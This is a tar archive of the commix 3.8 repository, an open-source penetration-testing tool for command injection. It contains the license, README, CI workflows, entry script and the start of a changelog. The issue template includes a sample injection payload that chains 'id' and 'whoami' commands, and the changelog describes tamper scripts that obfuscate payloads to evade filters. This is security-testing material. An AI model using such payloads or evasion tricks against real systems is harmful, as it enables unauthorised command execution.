pax_global_header 0000666 0000000 0000000 00000000064 14466364451 0014527 g ustar 00root root 0000000 0000000 52 comment=91e866a88786d02141d28acdf32c5e0ae7c93b01
commix-3.8/ 0000775 0000000 0000000 00000000000 14466364451 0012675 5 ustar 00root root 0000000 0000000 commix-3.8/.github/ 0000775 0000000 0000000 00000000000 14466364451 0014235 5 ustar 00root root 0000000 0000000 commix-3.8/.github/CODE_OF_CONDUCT.md 0000664 0000000 0000000 00000006222 14466364451 0017036 0 ustar 00root root 0000000 0000000 # Contributor Covenant Code of Conduct
## Our Pledge
In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation.
## Our Standards
Examples of behavior that contributes to creating a positive environment include:
* Using welcoming and inclusive language
* Being respectful of differing viewpoints and experiences
* Gracefully accepting constructive criticism
* Focusing on what is best for the community
* Showing empathy towards other community members
Examples of unacceptable behavior by participants include:
* The use of sexualized language or imagery and unwelcome sexual attention or advances
* Trolling, insulting/derogatory comments, and personal or political attacks
* Public or private harassment
* Publishing others' private information, such as a physical or electronic address, without explicit permission
* Other conduct which could reasonably be considered inappropriate in a professional setting
## Our Responsibilities
Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior.
Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful.
## Scope
This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers.
## Enforcement
Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at dev@commixproject.com. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately.
Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership.
## Attribution
This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version]
[homepage]: http://contributor-covenant.org
[version]: http://contributor-covenant.org/version/1/4/
commix-3.8/.github/FUNDING.yml 0000664 0000000 0000000 00000000107 14466364451 0016050 0 ustar 00root root 0000000 0000000 custom: 'https://www.paypal.com/donate?hosted_button_id=UGBDUDJRW8U4E'
commix-3.8/.github/ISSUE_TEMPLATE.md 0000664 0000000 0000000 00000002324 14466364451 0016743 0 ustar 00root root 0000000 0000000 ## What's the problem (or question)?
## Do you have an idea for a solution?
## How can we reproduce the issue?
1.
2.
3.
4.
## What are the running context details?
* Installation method (e.g. `apt-get`, `git clone` or `zip`/`tar.gz`):
* Client OS (e.g. `Linux (Ubuntu)`)
* Program version (`python commix.py --version` or `commix --version` depending on installation):
* Target OS (e.g. `Linux (Debian)`):
* Command injection techniques found by commix (e.g. `classic (results-based)` and `time-based (blind)`):
* Results of manual target assessment (e.g. found that the payload `;echo \`id\`||echo $(whoami)` works):
* Relevant console output (if any):
* Exception traceback (if any):
commix-3.8/.github/workflows/ 0000775 0000000 0000000 00000000000 14466364451 0016272 5 ustar 00root root 0000000 0000000 commix-3.8/.github/workflows/builds.yml 0000664 0000000 0000000 00000001122 14466364451 0020273 0 ustar 00root root 0000000 0000000 on:
push:
branches: [ master ]
pull_request:
branches: [ master ]
jobs:
build:
runs-on: ${{ matrix.os }}
strategy:
matrix:
os: [ubuntu-latest, macos-latest, windows-latest]
python-version: [ '3.10', 'pypy-2.7', 'pypy-3.7' ]
steps:
- uses: actions/checkout@v2
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: ${{ matrix.python-version }}
- name: Basic import test
run: python -c "import commix"
- name: Basic smoke test
run: python commix.py --smoke-test
commix-3.8/.github/workflows/lockbot.yml 0000664 0000000 0000000 00000000641 14466364451 0020453 0 ustar 00root root 0000000 0000000 name: 'LockBot'
on:
schedule:
- cron: '0 1 * * *'
permissions:
issues: write
jobs:
action:
runs-on: ubuntu-latest
steps:
- uses: dessant/lock-threads@v2
with:
issue-lock-inactive-days: '90'
issue-lock-comment: 'This issue has been automatically locked since there has not been any recent activity after it was closed. Please open a new issue for related issues.' commix-3.8/.gitignore 0000664 0000000 0000000 00000000037 14466364451 0014665 0 ustar 00root root 0000000 0000000 *.py[cod]
.output/*
.gitignore
commix-3.8/COMMITMENT.txt 0000664 0000000 0000000 00000004054 14466364451 0015115 0 ustar 00root root 0000000 0000000 GPL Cooperation Commitment
Version 1.0
Before filing or continuing to prosecute any legal proceeding or claim
(other than a Defensive Action) arising from termination of a Covered
License, we commit to extend to the person or entity ('you') accused
of violating the Covered License the following provisions regarding
cure and reinstatement, taken from GPL version 3. As used here, the
term 'this License' refers to the specific Covered License being
enforced.
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly
and finally terminates your license, and (b) permanently, if the
copyright holder fails to notify you of the violation by some
reasonable means prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you
have received notice of violation of this License (for any work)
from that copyright holder, and you cure the violation prior to 30
days after your receipt of the notice.
We intend this Commitment to be irrevocable, and binding and
enforceable against us and assignees of or successors to our
copyrights.
Definitions
'Covered License' means the GNU General Public License, version 2
(GPLv2), the GNU Lesser General Public License, version 2.1
(LGPLv2.1), or the GNU Library General Public License, version 2
(LGPLv2), all as published by the Free Software Foundation.
'Defensive Action' means a legal proceeding or claim that We bring
against you in response to a prior proceeding or claim initiated by
you or your affiliate.
'We' means each contributor to this repository as of the date of
inclusion of this file, including subsidiaries of a corporate
contributor.
This work is available under a Creative Commons Attribution-ShareAlike
4.0 International license (https://creativecommons.org/licenses/by-sa/4.0/).
commix-3.8/LICENSE.txt 0000664 0000000 0000000 00000100667 14466364451 0014532 0 ustar 00root root 0000000 0000000 Copyright (c) 2014-2023 Anastasios Stasinopoulos
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see .
************************************************************************
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc.
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The GNU General Public License is a free, copyleft license for
software and other kinds of works.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users. We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights. Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received. You must make sure that they, too, receive
or can get the source code. And you must show them these terms so they
know their rights.
Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software. For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.
Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so. This is fundamentally incompatible with the aim of
protecting users' freedom to change the software. The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we
have designed this version of the GPL to prohibit the practice for those
products. If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.
Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary. To prevent this, the GPL assures that
patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Use with the GNU Affero General Public License.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
commix-3.8/README.md 0000664 0000000 0000000 00000005635 14466364451 0014165 0 ustar 00root root 0000000 0000000
**Commix** (short for [**comm**]and [**i**]njection e[**x**]ploiter) is an open source penetration testing tool, written by **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://twitter.com/ancst)**), that automates the detection and exploitation of **[command injection](https://www.owasp.org/index.php/Command_Injection)** vulnerabilities.
You can visit the [collection of screenshots](https://github.com/commixproject/commix/wiki/Screenshots) demonstrating some of the features on the wiki.
## Installation
You can download commix on any platform by cloning the official Git repository :
$ git clone https://github.com/commixproject/commix.git commix
Alternatively, you can download the latest [tarball](https://github.com/commixproject/commix/tarball/master) or [zipball](https://github.com/commixproject/commix/zipball/master).
*__Note:__ **[Python](http://www.python.org/download/)** (version **2.6**, **2.7** or **3.x**) is required for running commix.*
## Usage
To get a list of all options and switches use:
$ python commix.py -h
To get an overview of commix available options, switches and/or basic ideas on how to use commix, check **[usage](https://github.com/commixproject/commix/wiki/Usage)**, **[usage examples](https://github.com/commixproject/commix/wiki/Usage-Examples)** and **[filters bypasses](https://github.com/commixproject/commix/wiki/Filters-Bypasses)** wiki pages.
## Links
* User's manual: https://github.com/commixproject/commix/wiki
* Issues tracker: https://github.com/commixproject/commix/issues
## Translations
* [Greek](https://github.com/commixproject/commix/blob/master/doc/translations/README-gr-GR.md)
* [Indonesian](https://github.com/commixproject/commix/blob/master/doc/translations/README-idn-IDN.md)
* [Farsi(Persian)](https://github.com/commixproject/commix/blob/master/doc/translations/README-fa-FA.md) commix-3.8/commix.py 0000775 0000000 0000000 00000002432 14466364451 0014547 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
# Dummy check for missing module(s).
try:
__import__("src.utils.version")
from src.utils import version
version.python_version()
except ImportError:
err_msg = "Wrong installation detected (missing modules). "
err_msg = "Visit 'https://github.com/commixproject/commix/' for further details. \n"
print(settings.print_critical_msg(err_msg))
raise SystemExit()
# Main
def main():
import src.core.main
# Main
if __name__ == '__main__':
try:
main()
except SystemExit:
import sys
raise SystemExit()
except KeyboardInterrupt:
import sys
raise SystemExit()
except IndentationError as err_msg:
from src.utils import settings
print(settings.print_critical_msg(err_msg) + ".\n")
raise SystemExit()
except:
from src.utils import common
common.unhandled_exception()
# eof commix-3.8/doc/ 0000775 0000000 0000000 00000000000 14466364451 0013442 5 ustar 00root root 0000000 0000000 commix-3.8/doc/AUTHOR 0000664 0000000 0000000 00000000075 14466364451 0014371 0 ustar 00root root 0000000 0000000 Anastasios Stasinopoulos
https://stasinopoulos.github.io/
commix-3.8/doc/CHANGELOG.md 0000775 0000000 0000000 00000126256 14466364451 0015272 0 ustar 00root root 0000000 0000000 ## Version 3.8 (2023-08-14)
* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
* Revised: Minor improvement regarding parsing raw HTTP request from a file (i.e. `-r` option).
* Revised: Minor improvement regarding dynamic code evaluation technique (i.e. command execution output).
* Fixed: Minor bug-fix regarding `--skip-empty` flag, for skipping the testing of the parameter(s) with empty value(s).
* Revised: Minor improvement regarding tamper script "uninitializedvariable.py", for adding randomly generated uninitialized bash variables between the characters of each command of the generated payloads.
* Revised: Minor improvement regarding skipping further tests involving target that an injection point has already been detected.
* Revised: Minor code refactoring regarding multiple tamper scripts (i.e. "backslashes.py", "dollaratsigns.py", "doublequotes.py", "singlequotes.py", "uninitializedvariable.py").
